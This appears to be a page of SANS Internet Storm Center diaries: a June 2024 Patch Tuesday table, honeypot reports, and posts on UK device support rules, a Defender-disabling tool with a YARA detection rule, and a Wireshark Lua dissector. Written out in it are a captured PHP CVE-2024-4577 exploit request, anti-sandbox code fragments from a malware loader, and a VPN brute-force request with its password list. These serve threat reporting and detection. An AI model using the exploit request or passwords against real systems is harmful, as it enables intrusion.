%%cve:2024-35255%% | No | No | - | - | Important | 5.5 | 4.8 |
Azure Monitor Agent Elevation of Privilege Vulnerability | |||||||
%%cve:2024-35254%% | No | No | - | - | Important | 7.1 | 6.2 |
Azure Science Virtual Machine (DSVM) Elevation of Privilege Vulnerability | |||||||
%%cve:2024-37325%% | No | No | - | - | Important | 8.1 | 7.3 |
Azure Storage Movement Client Library Denial of Service Vulnerability | |||||||
%%cve:2024-35252%% | No | No | - | - | Important | 7.5 | 6.5 |
Chromium: CVE-2024-5493 Heap buffer overflow in WebRTC | |||||||
%%cve:2024-5493%% | No | No | - | - | - | ||
Chromium: CVE-2024-5494 Use after free in Dawn | |||||||
%%cve:2024-5494%% | No | No | - | - | - | ||
Chromium: CVE-2024-5495 Use after free in Dawn | |||||||
%%cve:2024-5495%% | No | No | - | - | - | ||
Chromium: CVE-2024-5496 Use after free in Media Session | |||||||
%%cve:2024-5496%% | No | No | - | - | - | ||
Chromium: CVE-2024-5497 Out of bounds memory access in Keyboard Inputs | |||||||
%%cve:2024-5497%% | No | No | - | - | - | ||
Chromium: CVE-2024-5498 Use after free in Presentation API | |||||||
%%cve:2024-5498%% | No | No | - | - | - | ||
Chromium: CVE-2024-5499 Out of bounds write in Streams API | |||||||
%%cve:2024-5499%% | No | No | - | - | - | ||
DHCP Server Service Denial of Service Vulnerability | |||||||
%%cve:2024-30070%% | No | No | - | - | Important | 7.5 | 6.7 |
GitHub: CVE-2024-29187 WiX Burn-based bundles are vulnerable to binary hijack when run as SYSTEM | |||||||
%%cve:2024-29187%% | No | No | - | - | Important | 7.3 | 6.4 |
MITRE: CVE-2023-50868 NSEC3 closest encloser proof can exhaust CPU | |||||||
%%cve:2023-50868%% | Yes | No | - | - | Important | 7.5 | 6.5 |
Microsoft Azure File Sync Elevation of Privilege Vulnerability | |||||||
%%cve:2024-35253%% | No | No | - | - | Important | 4.4 | 4.2 |
Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability | |||||||
%%cve:2024-35263%% | No | No | - | - | Important | 5.7 | 5.0 |
Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability | |||||||
%%cve:2024-35248%% | No | No | - | - | Important | 7.3 | 6.4 |
Microsoft Dynamics 365 Business Central Remote Code Execution Vulnerability | |||||||
%%cve:2024-35249%% | No | No | - | - | Important | 8.8 | 7.7 |
Microsoft Event Trace Log File Parsing Remote Code Execution Vulnerability | |||||||
%%cve:2024-30072%% | No | No | - | - | Important | 7.8 | 6.8 |
Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability | |||||||
%%cve:2024-30080%% | No | No | - | - | Critical | 9.8 | 8.5 |
Microsoft Office Remote Code Execution Vulnerability | |||||||
%%cve:2024-30101%% | No | No | - | - | Important | 7.5 | 6.5 |
%%cve:2024-30102%% | No | No | - | - | Important | 7.3 | 6.4 |
%%cve:2024-30104%% | No | No | - | - | Important | 7.8 | 6.8 |
Microsoft Outlook Remote Code Execution Vulnerability | |||||||
%%cve:2024-30103%% | No | No | - | - | Important | 8.8 | 7.7 |
Microsoft SharePoint Server Remote Code Execution Vulnerability | |||||||
%%cve:2024-30100%% | No | No | - | - | Important | 7.8 | 6.8 |
Microsoft Speech Application Programming Interface (SAPI) Remote Code Execution Vulnerability | |||||||
%%cve:2024-30097%% | No | No | Less Likely | Less Likely | Important | 8.8 | 7.7 |
Microsoft Streaming Service Elevation of Privilege Vulnerability | |||||||
%%cve:2024-30089%% | No | No | - | - | Important | 7.8 | 6.8 |
%%cve:2024-30090%% | No | No | - | - | Important | 7.0 | 6.1 |
Visual Studio Elevation of Privilege Vulnerability | |||||||
%%cve:2024-29060%% | No | No | - | - | Important | 6.7 | 5.8 |
Visual Studio Remote Code Execution Vulnerability | |||||||
%%cve:2024-30052%% | No | No | - | - | Important | 4.7 | 4.1 |
Win32k Elevation of Privilege Vulnerability | |||||||
%%cve:2024-30082%% | No | No | - | - | Important | 7.8 | 6.8 |
%%cve:2024-30087%% | No | No | - | - | Important | 7.8 | 6.8 |
%%cve:2024-30091%% | No | No | - | - | Important | 7.8 | 7.0 |
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability | |||||||
%%cve:2024-30085%% | No | No | - | - | Important | 7.8 | 7.0 |
Windows Container Manager Service Elevation of Privilege Vulnerability | |||||||
%%cve:2024-30076%% | No | No | - | - | Important | 6.8 | 5.9 |
Windows Cryptographic Services Information Disclosure Vulnerability | |||||||
%%cve:2024-30096%% | No | No | - | - | Important | 5.5 | 4.8 |
Windows Distributed File System (DFS) Remote Code Execution Vulnerability | |||||||
%%cve:2024-30063%% | No | No | - | - | Important | 6.7 | 5.8 |
Windows Kernel Elevation of Privilege Vulnerability | |||||||
%%cve:2024-30064%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2024-30068%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2024-30088%% | No | No | - | - | Important | 7.0 | 6.3 |
%%cve:2024-30099%% | No | No | - | - | Important | 7.0 | 6.3 |
Windows Kernel-Mode Driver Elevation of Privilege Vulnerability | |||||||
%%cve:2024-35250%% | No | No | - | - | Important | 7.8 | 6.8 |
%%cve:2024-30084%% | No | No | - | - | Important | 7.0 | 6.1 |
Windows Link Layer Topology Discovery Protocol Remote Code Execution Vulnerability | |||||||
%%cve:2024-30074%% | No | No | - | - | Important | 8.0 | 7.2 |
%%cve:2024-30075%% | No | No | - | - | Important | 8.0 | 7.0 |
Windows OLE Remote Code Execution Vulnerability | |||||||
%%cve:2024-30077%% | No | No | - | - | Important | 8.0 | 7.0 |
Windows Perception Service Elevation of Privilege Vulnerability | |||||||
%%cve:2024-35265%% | No | No | - | - | Important | 7.0 | 6.1 |
Windows Remote Access Connection Manager Information Disclosure Vulnerability | |||||||
%%cve:2024-30069%% | No | No | - | - | Important | 4.7 | 4.1 |
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability | |||||||
%%cve:2024-30094%% | No | No | - | - | Important | 7.8 | 6.8 |
%%cve:2024-30095%% | No | No | - | - | Important | 7.8 | 6.8 |
Windows Standards-Based Storage Management Service Denial of Service Vulnerability | |||||||
%%cve:2024-30083%% | No | No | - | - | Important | 7.5 | 6.5 |
Windows Standards-Based Storage Management Service Remote Code Execution Vulnerability | |||||||
%%cve:2024-30062%% | No | No | - | - | Important | 7.8 | 7.0 |
Windows Storage Elevation of Privilege Vulnerability | |||||||
%%cve:2024-30093%% | No | No | - | - | Important | 7.3 | 6.4 |
Windows Themes Denial of Service Vulnerability | |||||||
%%cve:2024-30065%% | No | No | - | - | Important | 5.5 | 4.8 |
Windows Wi-Fi Driver Remote Code Execution Vulnerability | |||||||
%%cve:2024-30078%% | No | No | - | - | Important | 8.8 | 7.7 |
Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability | |||||||
%%cve:2024-30086%% | No | No | - | - | Important | 7.8 | 6.8 |
Winlogon Elevation of Privilege Vulnerability | |||||||
%%cve:2024-30066%% | No | No | - | - | Important | 5.5 | 4.8 |
%%cve:2024-30067%% | No | No | - | - | Important | 5.5 | 4.8 |
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
0 Comments
Attacker Probing for New PHP Vulnerablity CVE-2024-4577
Our honeypots have detected the first probes for CVE-2024-4577. This vulnerability was originally discovered by Orange Tsai on Friday (June 7th) [1][2]. Watchtwr labs followed up with a detailed blog post and a proof of concept exploit [3].
Watchtwr Labs says PHP is only vulnerable if used in CGI mode in Chinese and Japanese locales. According to Orange Tsai, other locales may be vulnerable as well.
In CGI mode on Windows, the web server will execute "php.exe" and pass user-supplied parameters as command line or environment variables. This may potentially lead to OS command injection, a vulnerability I just covered last week in a video [4].
As parameters are passed from Apache to the command line, Apache will escape hyphens and render them harmless. However, an attacker may provide a "soft hyphen" (Unicode code point 0x00AD). PHP performs "best fit mapping" on characters passed on the command line, translating it to a dash. This allows an attacker to bypass the Apache escape process, and inject dashes. With that, an attacker can supply command line arguments to php.exe. A possibly choice outlined by Watchtwr is:
-d allow_url_include=1 -d auto_prepend_file=php://input
This will prepend the body of a POST request, leading to PHP code execution.
The exploit I have seen so far matches that pattern:
POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: [honeypot IP address redacted]
User-Agent: Go-http-client/1.1
Content-Length: 26
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
<?php die(md5(124*234));?>
This type of hash calculation is typical for verifying PHP vulnerabilities. In itself, it does not cause problems, but it may be used to find vulnerable systems for further exploitation.
One IP address I have seen use this scan is %%ip:79.124.49.158%%. This IP address has been active in our logs since March and has attempted other PHP-related exploits.
Last week, PHP released updates for currently supported versions, addressing this vulnerability.
[1] https://x.com/orange_8361/status/1798919363376066781
[2] https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
[3] https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
[4] https://www.youtube.com/watch?v=7QDO3pZbum8
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
0 Comments
Finding End of Support Dates: UK PTSI Regulation
One of the challenges with many IoT devices, in particular those targeting consumers and small businesses, is the ability to find how long a device is supported. This "expiration date" is becoming important as vulnerabilities are often discovered after a product no longer receives updates. In this case, users are often out of luck and left with a vulnerable device. Manufacturers will often not even acknowledge the vulnerability or provide notifications to users.
This will also make it difficult buying a device. It is often not clear what the "expiration date" of the device will be, and in some cases, you may purchase a device that no longer receives any updates.
Luckily, the UK government is here to help. As of April, any supplier of internet-connected devices in the UK must file a "Declaration of Compliance" with the UK's Office of Office for Product Safety & Standards [1]. Failing to do so can lead to hefty fines. The statement must include the minimum support period for the device. The same regulation also requires unique passwords and contact information to report vulnerabilities.
Sadly, I haven't found a simple database to look up this declaration of compliance, but vendors post it on their websites. The regulation also states that the statement of compliance must accompany the product. But when you buy and open the product, it may be too late. Vendors may include this statement outside of the UK for simplicity, as you often find a long list of compliance statements for various locations included. Still, there is no guarantee that vendors will do this.
However, many vendors choose to make these statements public on their website. I collected below a few from popular vendors:
Supplier | Statement URL |
---|---|
Apple | https://regulatoryinfo.apple.com/ukpsti |
Asus | https://www.asus.com/support/faq/1051929/ |
GL.Inet | https://www.gl-inet.com/psti/ |
GoPro | https://gopro.com/en/us/legal/uk-psti-compliance |
https://support.google.com/product-documentation/answer/14869041?hl=en | |
Lenovo | https://www.lenovo.com/us/outletus/en/compliance/uk-psti-soc/ |
Linksys | https://downloads.linksys.com/support/assets/others/UK_PTSI_Statement_of_Compliance_w_products.pdf |
Motorola | https://en-gb.support.motorola.com/app/answers/detail/a_id/178271/~/uk-psti |
Netgear | https://kb.netgear.com/000066102/UK-PSTI-Declaration-of-Conformity |
Philips | https://www.documents.philips.com/assets/UK%20Declaration%20of%20Conformity/20240530/78360cfd353b45bd944eb180001d9832.pdf |
Samsung | https://news.samsung.com/uk/notice-new-uk-product-security-and-telecommunications-infrastructure-psti-law |
TP-Link | https://www.tp-link.com/uk/support/psti/ |
Please let me know if you know of a better database that lists the compliance statements. For example, I could not find one for Ubiquity (Unifi). However, I believe they are still using the default password "ubnt" which puts them out of compliance.
I recommend labeling new devices with the purchase date and the end of support date as you receive them. The purchase date is good to have handy for warranty purposes, and the end of support date is important to know when you will have to replace the device.
[1] https://www.gov.uk/government/publications/the-uk-product-security-and-telecommunications-infrastructure-product-security-regime
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
0 Comments
Malicious Python Script with a "Best Before" Date
When you buy some fresh food, it's always a good idea to keep an eye on the best-before date. I found a funny piece of malicious Python script that implements the same technique. It will execute only before a specified date (Jun 10th in this case). The script purpose is classic: it will fetch a payload from a remote site, inject it in memory and start a new thread. Such payload are usually related to CobaltStike. I think that the script is still being developed and the attacker tested its score on VT because the payload is fetched from an RFC1918 IP address.
I won't cover the code injection part because it's super common:
- Allocate some memory with VirtualAlloc() and 0x40 (PAGE_EXECUTE_READWRITE)
- Copy the payload in the newly allocated memory with RtlMoveMemory()
- Launch if with CreateThread() and WaitForSingleObject()
The most interesting part is related to the anti-VM and anti-debugging techniques. The script implements multiple checks.
First, as said in the title, it has an expiration date and won't detonate after it:
YLtsrDkSMJIUX = datetime.now() tOyPJeSBB = datetime.strptime("24-06-10","%y-%m-%d") if YLtsrDkSMJIUX < tOyPJeSBB:
Then, it detects if a user is using the mouse:
sPrMcMrd = 0 ZSAdShMGbnjn = 300 while sPrMcMrd < ZSAdShMGbnjn: lhCIIwcaO = win32api.GetAsyncKeyState(1) PUlVQpUUGQwz = win32api.GetAsyncKeyState(2) if lhCIIwcaO % 2 == 1: sPrMcMrd += 1 if PUlVQpUUGQwz % 2 == 1: sPrMcMrd += 1 if sPrMcMrd >= ZSAdShMGbnjn:
GetAsyncKeyState() is used to detect if the user presses some keys but this API call can do more. If you pass the keycodes 0x01 or 0x02, you will test if, respectively, the left and right mouse button is used[1].
Then, it detects if the mouse is moving:
SJlEvm, OsmSmAnVBYAbB = win32api.GetCursorPos() sleep(30) mCBvRLEZPc, FTIUWfDRINwDu = win32api.GetCursorPos() if SJlEvm - mCBvRLEZPc != 0 or OsmSmAnVBYAbB - FTIUWfDRINwDu != 0:
Why checling the mouse position if we already detected a "click"? Some old sandboxes just move the mouse or simulate click but not both.
The system timezone is also checked:
import time as eJXueV if eJXueV.tzname[0] != "Coordinated Universal Time" and eJXueV.tzname[1] != "Coordinated Universal Time":
Finally, some sandboxes manipulate the system clock. For bypass this, the script tests the time via NTP:
client = socket.socket(AF_INET, SOCK_DGRAM) client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123)) msg, address = client.recvfrom( 1024 ) trdooQNWRx = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800) sleep(1500) client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123)) msg, address = client.recvfrom( 1024 ) if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - trdooQNWRx).seconds >= 1500):
If all these conditions are met, the payload is fetched and injected in memory.
To fetch the payload, a random 4-characters string is added as URI:
def uwvPCLCq(s): return sum([ord(ch) for ch in s]) % 0x100 def eZXAAmANKYtzQ(): for x in range(64): afeookOu = ''.join(random.sample(string.ascii_letters + string.digits,3)) wOozSRtIoWO = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random())) for BuJqgEjrd in wOozSRtIoWO: if uwvPCLCq(afeookOu + BuJqgEjrd) == 92: return afeookOu + BuJqgEjrd
Here is an example:
>>> eZXAAmANKYtzQ() '9XuV' >>> eZXAAmANKYtzQ() 'NOpO' >>> eZXAAmANKYtzQ() 'ETqR'
This looks exactly like a default CobaltStrike beacon! The script has currently a score of 12/71 on VT (SHA256: eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f[2])
[1] https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
[2] https://www.virustotal.com/gui/file/eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
0 Comments
Brute Force Attacks Against Watchguard VPN Endpoints
If you have a pulse and work in information security (or are a new scraping script without a pulse), you have probably seen reports of attacks against VPN endpoints. Running any VPN without strong authentication has been negligent for years, but in recent times, ransomware gangs, in particular, picked them off pretty quickly.
One of our honeypots just saw an attacker move through, attempting to brute force a Watchguard firewall VPN. I haven't seen much written about Watchguard lately, so I figured this may be a good reminder. The requests I was seeing against one honeypot in particular:
POST /wgcgi.cgi HTTP/1.1\
Host: [honeypot IP address redacted]:4443
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
fw_username=robert&fw_password=123456a%21&submit=Login&action=sslvpn_web_logon&fw_logon_type=logon&lang=en-US
Note the bare-bones headers without a user agent, suggesting a simple script to be used for these attacks.
The main source of these attacks so far has been %%ip:185.122.204.102%%. In February, this IP address hit a couple of other URLs, such as login.
Interestingly, so far, I have seen only two usernames being used: "jason" and "robert". Not sure why this is significant.
The list of passwords is a bit longer:
1
123%40secure
123456
1234567
123456a%21
1qazxsw23edc%21
%24ecure%40123
32Yp6jan
456%40%23pass%40
admin
Admin1234
admin2
Admin%4012345
ASDqwe%40123
itsupport
letmein
P%40ss0wrd
P%40ss1234
P%40ssw0rd
P%40ssw0rd12345
P%40ssw0rduser1
P%40zzw0rd%21123
Pa%24%24word%231
Pa55word
pass2828
password
Password01%21
password4321
qweasdzxc
sslvpn
sslvpnuser
Test123%21
vpn%40dmin
VPNgrp
Welcome123%21
Welcome2020%21
Welcome2%2B
You may want to block the use of any of these passwords and add them to your brute force list.
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
1 Comments
No-Defender, Yes-Defender
Recently I was made aware of a neat utility (https://github.com/es3n1n/no-defender/) which provides the capability to disable Windows Defender by abusing the WSC (Windows Security Center) registration that other AV and EDR providers utilize to become the main provider on systems, mostly to avoid conflict with Windows Defender.
It does this by abusing the middle-man WSC proxy app Avast bundles with their software, which provides access to the necessary WSC APIs for registration, and registers itself as an fraudulent AV provider, forcing Defender to step down (periodic scanning will still function if enabled manually).
As with all utilities that have the potential to aid in defense evasion, this will eventually make the rounds with active threat groups, until it is deemed obsolete or no longer viable.
To detect usage of this or similar tools, monitoring the “SecurityCenter” Windows event log for event ID 15 is ideal. This can help identify if an unwanted application registered and enabled itself as a security provider in place of Defender.
Figure 1: Triggered Event
Additionally, blocking the Avast signing certificate through an AppLocker publisher rule could also help hinder use of the tool.
At the time of writing, EDR and AV vendors are picking up on this quickly, as evidenced by the threat label in VirusTotal and the increasing detection count.
Figure 3: No-defender Loader detection [2]
Figure 4: No-defender Detection[3]
Also included is a Yara rule to detect the Avast WSC Proxy components. Hash rules may be sufficient, but older versions of the components may also be equally vulnerable to abuse.
Yara Rule
import "pe"
rule nodefender_avastwsc
{
meta:
description = "Avast wsc proxy components used by no-defender"
hash = "79e53d36a40951ab328e153bac9c1e3adf3330b45899345e645889b9046f06e0"
hash = "de820b5e592cf456f6a4f8356195c4a335a51c6354ca7ac32ccd390e62d9becc"
strings:
$a1 = "Avast Software s.r.o" nocase
$a2 = "Cannot enable RPC marshaling into service when Avast client integration is not set" nocase
$a3 = {77 00 73 00 63 00 2E 00 64 00 6C 00 6C 00 00 00 72 75 6E}
$a4 = "BUILDS\\Release\\x64\\wsc_proxy.pdb" nocase
$s1 = {09 02 B3 6B 32 51 C3 28 08 3F 77 7C A0 84 28 FF}
$s2 = {03 F0 2A CA 05 1D 1C 93 30 EE AB D3 70 6E 83 6F}
condition:
uint16(0) == 0x5a4d
and $a1 and ($s1 or $s2) and ($a2 or $a3 or $a4)
and for any i in (0 .. pe.number_of_signatures) : (
(pe.signatures[i].issuer contains "DigiCert High Assurance Code Signing CA-1"
or pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1")
and pe.signatures[i].subject contains "Avast"
)
}
References:
[1] https://github.com/es3n1n/no-defender
[2] https://www.virustotal.com/gui/file/f4652a2073f72a1fc64dfc08a3a56c258f30cc4737ab9feefb602d54ec4c68b5
[3] https://www.virustotal.com/gui/file/54fc10e6f2675adb1e712ab7afd0d8e1a561b0fbebc7aa0d3fcf90c09a9597a6
0 Comments
A Wireshark Lua Dissector for Fixed Field Length Protocols
I developed a Wireshark dissector in Lua to parse binary protocols (over TCP) that are composed of fields with fixed lengths. I got this idea while taking a SANS ICS training: for protocol reversing, it would be useful to have a dissector where I can configure the fields (length, type, name, ...).
As an example, I'm using a packet capture of a demo protocol for firmware upload (didactic).
The format of the protocol data unit (PDU) looks like this:
- Byte 1: the function of the PDU (0x10 start upload, 0x11 upload, 0x12 end upload)
- Byte 2: the direction (0 from client to server, 1 from server to client)
- Byte 3 and 4: a PDU counter for uploads, it's a little-endian integer
- Byte 5 and 6: the length of the uploaded data, it's a little-endian integer
- Bytes 7 and following: the uploaded data
Command-line arguments are provided to configure the Lua dissector to parse this traffic:
"c:\Program Files\Wireshark\Wireshark.exe" -X lua_script:fl-dissector.lua -X lua_script1:port:50500 -X lua_script1:protocolname:firmware -X lua_script1:fieldlengths:1:B,1:B,2:L,2:L -X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data capture-firmware-upload.pcapng
"-X lua_script:fl-dissector.lua" loads dissector fl-dissector.lua in Wireshark.
"-X lua_script1:port:50500" provides a port:50500 option value to the dissector. This specifies the TCP port (50500) of the traffic that should be dissected.
"-X lua_script1:protocolname:firmware" specifies the name of the protocol.
"-X lua_script1:fieldlengths:1:B,1:B,2:L,2:L" specifies the field lengths: 1 byte, 1 byte, 2 bytes and 2 bytes. The 2 bytes fields are little-endian integers (:L).
"-X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data" specifies the names of the fields.
Configured like this, the protocol "firmware" is added to Wireshark and used for dissecting traffic over TCP port 50500:
Once the dissector is defined, it can be used to filter traffic. For example, in the above screenshot, I use display filter "firmware" to limit the view to this firmware protocol.
I can even use tshark to extract the uploaded firmware. For this, I switch to tshark:
"c:\Program Files\Wireshark\tshark.exe" -X lua_script:fl-dissector.lua -X lua_script1:protocolname:firmware -X lua_script1:port:50500 -X lua_script1:fieldlengths:1,1,2,2 -X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data -r capture-firmware-upload.pcapng -Y "(firmware.Function == 0x11) && (firmware.Direction == 0)" -e firmware.Data -Tfields
The arguments for the dissector are the same. I use a display filter (-Y "(firmware.Function == 0x11) && (firmware.Direction == 0)") to filter for PDUs that upload the firmware (function == 0x11) to the server (direction == 0). I configure tshark to just output the value of field data as hexadecimal (-e firmware.Data -Tfields). This is the result:
Next, I convert this hexadecimal data to binary with my tool hex-to-bin.py, and use another tool (file-magic.py) to try to identify the uploaded data:
It is a ZIP file, this can be confirmed with my zipdump.py tool:
I created this packet capture file of a firmware upload to an IoT device for didactic purposes, e.g., to explain a process of reverse engineering a binary network protocol.
If you want to know more about this, take a look at my blog post "Reversing A Network Protocol" and YouTube video "Reversing A Network Protocol".
Didier Stevens
Senior handler
blog.DidierStevens.com
0 Comments
0 Comments